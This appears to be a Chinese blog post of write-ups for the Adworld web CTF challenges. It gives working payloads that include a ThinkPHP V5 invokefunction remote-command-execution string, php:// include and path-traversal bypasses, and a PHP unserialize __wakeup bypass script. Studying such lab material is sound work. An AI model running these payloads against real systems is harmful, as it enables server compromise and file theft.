攻防世界--WEB高手进阶区(持续更新)

baby_web

打开链接,只看到HELLO WORLD,
在这里插入图片描述
根据题目描述:想想初始页面是哪个,想到index.php,将url改成http://111.198.29.45:46872/index.php后发现页面仍然是1.php,用burp拦截数据包,
在这里插入图片描述
进行Repeater,得到flag。
在这里插入图片描述

Training-WWW-Robots

打开链接,
在这里插入图片描述
根据题目,猜想题目关键点为robots.txt,访问robots.txt,
在这里插入图片描述
根据页面提示,访问/fl0g.php得到flag。
在这里插入图片描述

php_rce

打开链接,
在这里插入图片描述
根据题目和页面显示,该题目关键点为ThinkPHP V5 rce漏洞,根据网上的payload进行修改后得到flag。
payload如下:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php -r 'system("cat ../../../flag");'

在这里插入图片描述

Web_php_include

打开链接,是一段php代码,

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

在这里插入图片描述
关键点在文件包含php://伪协议和strstr()函数绕过,php://input 是个可以访问请求的原始数据的只读流,可以读取POST数据流。
strstr()查找字符串的首次出现,采用大小写绕过。
在这里插入图片描述在这里插入图片描述

warmup

打开链接,
在这里插入图片描述F12看到source.php,访问source.php查看源码,

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            //白名单,传入参数为source.php或hint.php则返回真,否则继续判断
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];  
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }
           //取传进参数首次出现?前的部分,再进行白名单判断,否则继续向下判断。
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            //进去的参数做urldecode,再进行上面的判断。
            $_page = urldecode($page);  
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    //检查变量是否为空,是否为字符串,通过函数进行检查。
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

审计代码看到hint.php,访问hint.php,
在这里插入图片描述
构造payload:source.php?file=hint.php?/../../../../ffffllllaaaagggg,得到flag。
在这里插入图片描述

Web_php_unserialize

打开链接,是代码审计题,分析代码,

<?php 
class Demo {                       
    private $file = 'index.php';   
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { //__wakeup()是用在反序列化操作中。unserialize()会检查存在一个__wakeup()方法。如果存在,则先会调用__wakeup()方法。
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']);   //将传入的var的值进行base64解码
    if (preg_match('/[oc]:\d+:/i', $var)) {   //正则匹配
        die('stop hacking!'); 
    } else {
        @unserialize($var);     //将var反序列化
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

编写脚本,

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$A = new Demo('fl4g.php');
$B = serialize($A);
//echo $B;
$C = str_replace('O:4','O:+4',$B);   //使用+绕过preg_match的正则表达式
//echo $C;
$D = str_replace(':1:',':2:',$C);    //当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
//echo $D;
$E = base64_encode($D);//base64编码获取序列化的结果
echo $E;
?>

在这里插入图片描述将base64编码get传参得到flag。
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

NaNNaNNaNNaN-Batman

下载附件,用浏览器打开,是一个输入框,
在这里插入图片描述分析源码,是一堆乱码,
在这里插入图片描述最后有一个eval函数,将‘’中的代码执行了,将eval改为alert进行弹窗,得到源码。
在这里插入图片描述整理之后得到,

function $(){
var e=document.getElementById("c").value;if(e.length==16)
	if(e.match(/^be0f23/)!=null)
		if(e.match(/233ac/)!=null)
			if(e.match(/e98aa$/)!=null)
				if(e.match(/c7be9/)!=null){
					var t=["fl","s_a","i","e}"];
					var n=["a","_h0l","n"];
					var r=["g{","e","_0"];
					var i=["it'","_","n"];
					var s=[t,n,r,i];
					for(var o=0;o<13;++o){
						document.write(s[o%4][0]);
						s[o%4].splice(0,1)
						}
					}
				}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _				

当满足if条件时,就可以flag,输入be0f233ac7be98aa,
在这里插入图片描述在这里插入图片描述

php2

打开链接,
在这里插入图片描述
毫无思路,看了大佬文章之后才知道index.phps源码泄露,
在这里插入图片描述查看页面源代码进行分析,
在这里插入图片描述

第一个条件:"admin"===$_GET[id]不成立,
第二个条件:经过url解码后要使得$_GET[id]=='''admin'成立

因此对admin进行url编码(需进行两个编码),
?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65得到flag。
在这里插入图片描述

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值